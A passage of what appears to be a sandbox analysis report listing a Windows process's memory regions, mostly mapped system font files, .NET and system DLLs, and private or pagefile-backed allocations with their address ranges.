0x0 region_type = mapped_file name = "papyrus.ttf" filename = "\\Windows\\Fonts\\PAPYRUS.TTF" (normalized: "c:\\windows\\fonts\\papyrus.ttf") Region: id = 1275 start_va = 0x5b0000 end_va = 0x5d4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "parchm.ttf" filename = "\\Windows\\Fonts\\PARCHM.TTF" (normalized: "c:\\windows\\fonts\\parchm.ttf") Region: id = 1276 start_va = 0x5b0000 end_va = 0x5d4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "parchm.ttf" filename = "\\Windows\\Fonts\\PARCHM.TTF" (normalized: "c:\\windows\\fonts\\parchm.ttf") Region: id = 1277 start_va = 0x440000 end_va = 0x44efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "per_____.ttf" filename = "\\Windows\\Fonts\\PER_____.TTF" (normalized: "c:\\windows\\fonts\\per_____.ttf") Region: id = 1278 start_va = 0x440000 end_va = 0x44efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "per_____.ttf" filename = "\\Windows\\Fonts\\PER_____.TTF" (normalized: "c:\\windows\\fonts\\per_____.ttf") Region: id = 1279 start_va = 0x440000 end_va = 0x44efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "perb____.ttf" filename = "\\Windows\\Fonts\\PERB____.TTF" (normalized: "c:\\windows\\fonts\\perb____.ttf") Region: id = 1280 start_va = 0x440000 end_va = 0x44efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "perb____.ttf" filename = "\\Windows\\Fonts\\PERB____.TTF" (normalized: "c:\\windows\\fonts\\perb____.ttf") Region: id = 1281 start_va = 0x470000 end_va = 0x482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "perbi___.ttf" filename = "\\Windows\\Fonts\\PERBI___.TTF" (normalized: "c:\\windows\\fonts\\perbi___.ttf") Region: id = 1282 start_va = 0x470000 end_va = 0x482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "perbi___.ttf" filename = "\\Windows\\Fonts\\PERBI___.TTF" (normalized: "c:\\windows\\fonts\\perbi___.ttf") Region: id = 1283 start_va = 0x470000 end_va = 0x482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "peri____.ttf" filename = "\\Windows\\Fonts\\PERI____.TTF" (normalized: "c:\\windows\\fonts\\peri____.ttf") Region: id = 1284 start_va = 0x470000 end_va = 0x482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "peri____.ttf" filename = "\\Windows\\Fonts\\PERI____.TTF" (normalized: "c:\\windows\\fonts\\peri____.ttf") Region: id = 1285 start_va = 0x440000 end_va = 0x44bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pertibd.ttf" filename = "\\Windows\\Fonts\\PERTIBD.TTF" (normalized: "c:\\windows\\fonts\\pertibd.ttf") Region: id = 1286 start_va = 0x440000 end_va = 0x44bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pertibd.ttf" filename = "\\Windows\\Fonts\\PERTIBD.TTF" (normalized: "c:\\windows\\fonts\\pertibd.ttf") Region: id = 1287 start_va = 0x440000 end_va = 0x44afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pertili.ttf" filename = "\\Windows\\Fonts\\PERTILI.TTF" (normalized: "c:\\windows\\fonts\\pertili.ttf") Region: id = 1288 start_va = 0x440000 end_va = 0x44afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pertili.ttf" filename = "\\Windows\\Fonts\\PERTILI.TTF" (normalized: "c:\\windows\\fonts\\pertili.ttf") Region: id = 1289 start_va = 0x440000 end_va = 0x44bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "playbill.ttf" filename = "\\Windows\\Fonts\\PLAYBILL.TTF" (normalized: "c:\\windows\\fonts\\playbill.ttf") Region: id = 1290 start_va = 0x440000 end_va = 0x44bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "playbill.ttf" filename = "\\Windows\\Fonts\\PLAYBILL.TTF" (normalized: "c:\\windows\\fonts\\playbill.ttf") Region: id = 1291 start_va = 0x470000 end_va = 0x482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "poorich.ttf" filename = "\\Windows\\Fonts\\POORICH.TTF" (normalized: "c:\\windows\\fonts\\poorich.ttf") Region: id = 1292 start_va = 0x470000 end_va = 0x482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "poorich.ttf" filename = "\\Windows\\Fonts\\POORICH.TTF" (normalized: "c:\\windows\\fonts\\poorich.ttf") Region: id = 1293 start_va = 0x470000 end_va = 0x484fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pristina.ttf" filename = "\\Windows\\Fonts\\PRISTINA.TTF" (normalized: "c:\\windows\\fonts\\pristina.ttf") Region: id = 1294 start_va = 0x470000 end_va = 0x484fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pristina.ttf" filename = "\\Windows\\Fonts\\PRISTINA.TTF" (normalized: "c:\\windows\\fonts\\pristina.ttf") Region: id = 1295 start_va = 0x5b0000 end_va = 0x5d0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rage.ttf" filename = "\\Windows\\Fonts\\RAGE.TTF" (normalized: "c:\\windows\\fonts\\rage.ttf") Region: id = 1296 start_va = 0x5b0000 end_va = 0x5d0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rage.ttf" filename = "\\Windows\\Fonts\\RAGE.TTF" (normalized: "c:\\windows\\fonts\\rage.ttf") Region: id = 1297 start_va = 0x470000 end_va = 0x482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ravie.ttf" filename = "\\Windows\\Fonts\\RAVIE.TTF" (normalized: "c:\\windows\\fonts\\ravie.ttf") Region: id = 1298 start_va = 0x470000 end_va = 0x482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ravie.ttf" filename = "\\Windows\\Fonts\\RAVIE.TTF" (normalized: "c:\\windows\\fonts\\ravie.ttf") Region: id = 1299 start_va = 0x2190000 end_va = 0x21c5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "refsan.ttf" filename = "\\Windows\\Fonts\\REFSAN.TTF" (normalized: "c:\\windows\\fonts\\refsan.ttf") Region: id = 1300 start_va = 0x2190000 end_va = 0x21c5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "refsan.ttf" filename = "\\Windows\\Fonts\\REFSAN.TTF" (normalized: "c:\\windows\\fonts\\refsan.ttf") Region: id = 1301 start_va = 0x440000 end_va = 0x44dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "refspcl.ttf" filename = "\\Windows\\Fonts\\REFSPCL.TTF" (normalized: "c:\\windows\\fonts\\refspcl.ttf") Region: id = 1302 start_va = 0x440000 end_va = 0x44dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "refspcl.ttf" filename = "\\Windows\\Fonts\\REFSPCL.TTF" (normalized: "c:\\windows\\fonts\\refspcl.ttf") Region: id = 1303 start_va = 0x440000 end_va = 0x44dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rocc____.ttf" filename = "\\Windows\\Fonts\\ROCC____.TTF" (normalized: "c:\\windows\\fonts\\rocc____.ttf") Region: id = 1304 start_va = 0x440000 end_va = 0x44dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rocc____.ttf" filename = "\\Windows\\Fonts\\ROCC____.TTF" (normalized: "c:\\windows\\fonts\\rocc____.ttf") Region: id = 1305 start_va = 0x440000 end_va = 0x44efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "roccb___.ttf" filename = "\\Windows\\Fonts\\ROCCB___.TTF" (normalized: "c:\\windows\\fonts\\roccb___.ttf") Region: id = 1306 start_va = 0x440000 end_va = 0x44efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "roccb___.ttf" filename = "\\Windows\\Fonts\\ROCCB___.TTF" (normalized: "c:\\windows\\fonts\\roccb___.ttf") Region: id = 1307 start_va = 0x470000 end_va = 0x481fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rock.ttf" filename = "\\Windows\\Fonts\\ROCK.TTF" (normalized: "c:\\windows\\fonts\\rock.ttf") Region: id = 1308 start_va = 0x470000 end_va = 0x481fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rock.ttf" filename = "\\Windows\\Fonts\\ROCK.TTF" (normalized: "c:\\windows\\fonts\\rock.ttf") Region: id = 1309 start_va = 0x470000 end_va = 0x480fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rockb.ttf" filename = "\\Windows\\Fonts\\ROCKB.TTF" (normalized: "c:\\windows\\fonts\\rockb.ttf") Region: id = 1310 start_va = 0x470000 end_va = 0x480fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rockb.ttf" filename = "\\Windows\\Fonts\\ROCKB.TTF" (normalized: "c:\\windows\\fonts\\rockb.ttf") Region: id = 1311 start_va = 0x470000 end_va = 0x481fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rockbi.ttf" filename = "\\Windows\\Fonts\\ROCKBI.TTF" (normalized: "c:\\windows\\fonts\\rockbi.ttf") Region: id = 1312 start_va = 0x470000 end_va = 0x481fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rockbi.ttf" filename = "\\Windows\\Fonts\\ROCKBI.TTF" (normalized: "c:\\windows\\fonts\\rockbi.ttf") Region: id = 1313 start_va = 0x440000 end_va = 0x44cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rockeb.ttf" filename = "\\Windows\\Fonts\\ROCKEB.TTF" (normalized: "c:\\windows\\fonts\\rockeb.ttf") Region: id = 1314 start_va = 0x440000 end_va = 0x44cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rockeb.ttf" filename = "\\Windows\\Fonts\\ROCKEB.TTF" (normalized: "c:\\windows\\fonts\\rockeb.ttf") Region: id = 1315 start_va = 0x470000 end_va = 0x482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rocki.ttf" filename = "\\Windows\\Fonts\\ROCKI.TTF" (normalized: "c:\\windows\\fonts\\rocki.ttf") Region: id = 1316 start_va = 0x470000 end_va = 0x482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rocki.ttf" filename = "\\Windows\\Fonts\\ROCKI.TTF" (normalized: "c:\\windows\\fonts\\rocki.ttf") Region: id = 1317 start_va = 0x5b0000 end_va = 0x5d9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schlbkb.ttf" filename = "\\Windows\\Fonts\\SCHLBKB.TTF" (normalized: "c:\\windows\\fonts\\schlbkb.ttf") Region: id = 1318 start_va = 0x5b0000 end_va = 0x5d9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schlbkb.ttf" filename = "\\Windows\\Fonts\\SCHLBKB.TTF" (normalized: "c:\\windows\\fonts\\schlbkb.ttf") Region: id = 1319 start_va = 0x5b0000 end_va = 0x5d7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schlbkbi.ttf" filename = "\\Windows\\Fonts\\SCHLBKBI.TTF" (normalized: "c:\\windows\\fonts\\schlbkbi.ttf") Region: id = 1320 start_va = 0x5b0000 end_va = 0x5d7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schlbkbi.ttf" filename = "\\Windows\\Fonts\\SCHLBKBI.TTF" (normalized: "c:\\windows\\fonts\\schlbkbi.ttf") Region: id = 1321 start_va = 0x5b0000 end_va = 0x5d7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schlbki.ttf" filename = "\\Windows\\Fonts\\SCHLBKI.TTF" (normalized: "c:\\windows\\fonts\\schlbki.ttf") Region: id = 1322 start_va = 0x5b0000 end_va = 0x5d7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schlbki.ttf" filename = "\\Windows\\Fonts\\SCHLBKI.TTF" (normalized: "c:\\windows\\fonts\\schlbki.ttf") Region: id = 1323 start_va = 0x440000 end_va = 0x44dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "scriptbl.ttf" filename = "\\Windows\\Fonts\\SCRIPTBL.TTF" (normalized: "c:\\windows\\fonts\\scriptbl.ttf") Region: id = 1324 start_va = 0x440000 end_va = 0x44dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "scriptbl.ttf" filename = "\\Windows\\Fonts\\SCRIPTBL.TTF" (normalized: "c:\\windows\\fonts\\scriptbl.ttf") Region: id = 1325 start_va = 0x2190000 end_va = 0x2227fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoeuisl.ttf" filename = "\\Windows\\Fonts\\SEGOEUISL.TTF" (normalized: "c:\\windows\\fonts\\segoeuisl.ttf") Region: id = 1326 start_va = 0x2190000 end_va = 0x2227fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoeuisl.ttf" filename = "\\Windows\\Fonts\\SEGOEUISL.TTF" (normalized: "c:\\windows\\fonts\\segoeuisl.ttf") Region: id = 1327 start_va = 0x440000 end_va = 0x44cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "showg.ttf" filename = "\\Windows\\Fonts\\SHOWG.TTF" (normalized: "c:\\windows\\fonts\\showg.ttf") Region: id = 1328 start_va = 0x440000 end_va = 0x44cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "showg.ttf" filename = "\\Windows\\Fonts\\SHOWG.TTF" (normalized: "c:\\windows\\fonts\\showg.ttf") Region: id = 1329 start_va = 0x440000 end_va = 0x44ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "snap____.ttf" filename = "\\Windows\\Fonts\\SNAP____.TTF" (normalized: "c:\\windows\\fonts\\snap____.ttf") Region: id = 1330 start_va = 0x440000 end_va = 0x44ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "snap____.ttf" filename = "\\Windows\\Fonts\\SNAP____.TTF" (normalized: "c:\\windows\\fonts\\snap____.ttf") Region: id = 1331 start_va = 0x440000 end_va = 0x44dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "stencil.ttf" filename = "\\Windows\\Fonts\\STENCIL.TTF" (normalized: "c:\\windows\\fonts\\stencil.ttf") Region: id = 1332 start_va = 0x440000 end_va = 0x44dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "stencil.ttf" filename = "\\Windows\\Fonts\\STENCIL.TTF" (normalized: "c:\\windows\\fonts\\stencil.ttf") Region: id = 1333 start_va = 0x470000 end_va = 0x482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tcb_____.ttf" filename = "\\Windows\\Fonts\\TCB_____.TTF" (normalized: "c:\\windows\\fonts\\tcb_____.ttf") Region: id = 1334 start_va = 0x470000 end_va = 0x482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tcb_____.ttf" filename = "\\Windows\\Fonts\\TCB_____.TTF" (normalized: "c:\\windows\\fonts\\tcb_____.ttf") Region: id = 1335 start_va = 0x470000 end_va = 0x482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tcbi____.ttf" filename = "\\Windows\\Fonts\\TCBI____.TTF" (normalized: "c:\\windows\\fonts\\tcbi____.ttf") Region: id = 1336 start_va = 0x470000 end_va = 0x482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tcbi____.ttf" filename = "\\Windows\\Fonts\\TCBI____.TTF" (normalized: "c:\\windows\\fonts\\tcbi____.ttf") Region: id = 1337 start_va = 0x470000 end_va = 0x480fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tccb____.ttf" filename = "\\Windows\\Fonts\\TCCB____.TTF" (normalized: "c:\\windows\\fonts\\tccb____.ttf") Region: id = 1338 start_va = 0x470000 end_va = 0x480fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tccb____.ttf" filename = "\\Windows\\Fonts\\TCCB____.TTF" (normalized: "c:\\windows\\fonts\\tccb____.ttf") Region: id = 1339 start_va = 0x470000 end_va = 0x482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tcceb.ttf" filename = "\\Windows\\Fonts\\TCCEB.TTF" (normalized: "c:\\windows\\fonts\\tcceb.ttf") Region: id = 1340 start_va = 0x470000 end_va = 0x482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tcceb.ttf" filename = "\\Windows\\Fonts\\TCCEB.TTF" (normalized: "c:\\windows\\fonts\\tcceb.ttf") Region: id = 1341 start_va = 0x470000 end_va = 0x480fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tccm____.ttf" filename = "\\Windows\\Fonts\\TCCM____.TTF" (normalized: "c:\\windows\\fonts\\tccm____.ttf") Region: id = 1342 start_va = 0x470000 end_va = 0x480fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tccm____.ttf" filename = "\\Windows\\Fonts\\TCCM____.TTF" (normalized: "c:\\windows\\fonts\\tccm____.ttf") Region: id = 1343 start_va = 0x470000 end_va = 0x482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tcm_____.ttf" filename = "\\Windows\\Fonts\\TCM_____.TTF" (normalized: "c:\\windows\\fonts\\tcm_____.ttf") Region: id = 1344 start_va = 0x470000 end_va = 0x482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tcm_____.ttf" filename = "\\Windows\\Fonts\\TCM_____.TTF" (normalized: "c:\\windows\\fonts\\tcm_____.ttf") Region: id = 1345 start_va = 0x470000 end_va = 0x483fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tcmi____.ttf" filename = "\\Windows\\Fonts\\TCMI____.TTF" (normalized: "c:\\windows\\fonts\\tcmi____.ttf") Region: id = 1346 start_va = 0x470000 end_va = 0x483fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tcmi____.ttf" filename = "\\Windows\\Fonts\\TCMI____.TTF" (normalized: "c:\\windows\\fonts\\tcmi____.ttf") Region: id = 1347 start_va = 0x470000 end_va = 0x482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tempsitc.ttf" filename = "\\Windows\\Fonts\\TEMPSITC.TTF" (normalized: "c:\\windows\\fonts\\tempsitc.ttf") Region: id = 1348 start_va = 0x470000 end_va = 0x482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tempsitc.ttf" filename = "\\Windows\\Fonts\\TEMPSITC.TTF" (normalized: "c:\\windows\\fonts\\tempsitc.ttf") Region: id = 1349 start_va = 0x470000 end_va = 0x489fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vineritc.ttf" filename = "\\Windows\\Fonts\\VINERITC.TTF" (normalized: "c:\\windows\\fonts\\vineritc.ttf") Region: id = 1350 start_va = 0x470000 end_va = 0x489fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vineritc.ttf" filename = "\\Windows\\Fonts\\VINERITC.TTF" (normalized: "c:\\windows\\fonts\\vineritc.ttf") Region: id = 1351 start_va = 0x470000 end_va = 0x480fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vivaldii.ttf" filename = "\\Windows\\Fonts\\VIVALDII.TTF" (normalized: "c:\\windows\\fonts\\vivaldii.ttf") Region: id = 1352 start_va = 0x470000 end_va = 0x480fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vivaldii.ttf" filename = "\\Windows\\Fonts\\VIVALDII.TTF" (normalized: "c:\\windows\\fonts\\vivaldii.ttf") Region: id = 1353 start_va = 0x440000 end_va = 0x44dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vladimir.ttf" filename = "\\Windows\\Fonts\\VLADIMIR.TTF" (normalized: "c:\\windows\\fonts\\vladimir.ttf") Region: id = 1354 start_va = 0x440000 end_va = 0x44dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vladimir.ttf" filename = "\\Windows\\Fonts\\VLADIMIR.TTF" (normalized: "c:\\windows\\fonts\\vladimir.ttf") Region: id = 1355 start_va = 0x470000 end_va = 0x480fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wingdng2.ttf" filename = "\\Windows\\Fonts\\WINGDNG2.TTF" (normalized: "c:\\windows\\fonts\\wingdng2.ttf") Region: id = 1356 start_va = 0x470000 end_va = 0x480fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wingdng2.ttf" filename = "\\Windows\\Fonts\\WINGDNG2.TTF" (normalized: "c:\\windows\\fonts\\wingdng2.ttf") Region: id = 1357 start_va = 0x440000 end_va = 0x448fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wingdng3.ttf" filename = "\\Windows\\Fonts\\WINGDNG3.TTF" (normalized: "c:\\windows\\fonts\\wingdng3.ttf") Region: id = 1358 start_va = 0x440000 end_va = 0x448fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wingdng3.ttf" filename = "\\Windows\\Fonts\\WINGDNG3.TTF" (normalized: "c:\\windows\\fonts\\wingdng3.ttf") Region: id = 1359 start_va = 0x440000 end_va = 0x441fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mtextra.ttf" filename = "\\Program Files (x86)\\Common Files\\microsoft shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\equation\\mtextra.ttf") Region: id = 1360 start_va = 0x440000 end_va = 0x441fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mtextra.ttf" filename = "\\Program Files (x86)\\Common Files\\microsoft shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\equation\\mtextra.ttf") Region: id = 1361 start_va = 0x430000 end_va = 0x44bfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "gdipfontcachev1.dat" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\GDIPFONTCACHEV1.DAT" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\gdipfontcachev1.dat") Region: id = 1362 start_va = 0x642ff4a0000 end_va = 0x642ff4a9fff monitored = 1 entry_point = 0x642ff4a4710 region_type = mapped_file name = "culture.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Culture.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\culture.dll") Region: id = 1363 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1364 start_va = 0x2190000 end_va = 0x21e3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\mscorrc.dll") Region: id = 1365 start_va = 0x7ff00200000 end_va = 0x7ff0020ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ff00200000" filename = "" Region: id = 1366 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1367 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 1368 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 1369 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 1370 start_va = 0x510000 end_va = 0x51ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000510000" filename = "" Region: id = 1371 start_va = 0x520000 end_va = 0x52ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 1372 start_va = 0x5b0000 end_va = 0x5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005b0000" filename = "" Region: id = 1373 start_va = 0x5c0000 end_va = 0x5cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 1374 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 1375 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 1376 start_va = 0x5a0000 end_va = 0x5dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005a0000" filename = "" Region: id = 1377 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 1378 start_va = 0x7fefb580000 end_va = 0x7fefb6a9fff monitored = 0 entry_point = 0x7fefb583810 region_type = mapped_file name = "windowscodecs.dll" filename = "\\Windows\\System32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll") Region: id = 1379 start_va = 0x470000 end_va = 0x470fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 1380 start_va = 0x510000 end_va = 0x510fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000510000" filename = "" Region: id = 1381 start_va = 0x7feff2d0000 end_va = 0x7feff3a6fff monitored = 0 entry_point = 0x7feff2d3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1382 start_va = 0x7ff00210000 end_va = 0x7ff0021ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ff00210000" filename = "" Region: id = 1383 start_va = 0x1b0f0000 end_va = 0x1b1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0f0000" filename = "" Region: id = 1384 start_va = 0x21f0000 end_va = 0x2220fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021f0000" filename = "" Region: id = 1385 start_va = 0x1b500000 end_va = 0x1b6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b500000" filename = "" Region: id = 1386 start_va = 0x1b6f0000 end_va = 0x1c01ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 1387 start_va = 0x520000 end_va = 0x520fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 1388 start_va = 0x7fefb6f0000 end_va = 0x7fefb707fff monitored = 0 entry_point = 0x7fefb6f1130 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 1389 start_va = 0x7ff00220000 end_va = 0x7ff0022ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ff00220000" filename = "" Region: id = 1390 start_va = 0x7fefbd00000 end_va = 0x7fefbef3fff monitored = 0 entry_point = 0x7fefbe8c924 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 1391 start_va = 0x530000 end_va = 0x530fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 1392 start_va = 0x630000 end_va = 0x631fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000630000" filename = "" Region: id = 1393 start_va = 0x1b530000 end_va = 0x1b62ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b530000" filename = "" Region: id = 1394 start_va = 0x1b670000 end_va = 0x1b6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b670000" filename = "" Region: id = 1395 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 1396 start_va = 0x1c210000 end_va = 0x1c30ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c210000" filename = "" Region: id = 1397 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 1398 start_va = 0x530000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 1399 start_va = 0x640000 end_va = 0x64ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000640000" filename = "" Region: id = 1400 start_va = 0x1fd0000 end_va = 0x1fdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fd0000" filename = "" Region: id = 1401 start_va = 0x1c320000 end_va = 0x1c41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c320000" filename = "" Region: id = 1402 start_va = 0x7fffff0e000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff0e000" filename = "" Region: id = 1403 start_va = 0x2160000 end_va = 0x2163fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002160000" filename = "" Region: id = 1404 start_va = 0x2160000 end_va = 0x2169fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002160000" filename = "" Region: id = 1405 start_va = 0x2230000 end_va = 0x2230fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002230000" filename = "" Region: id = 1406 start_va = 0x1adf0000 end_va = 0x1ae20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001adf0000" filename = "" Region: id = 1407 start_va = 0x1b1f0000 end_va = 0x1b220fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1f0000" filename = "" Region: id = 1408 start_va = 0x2170000 end_va = 0x2170fff monitored = 1 entry_point = 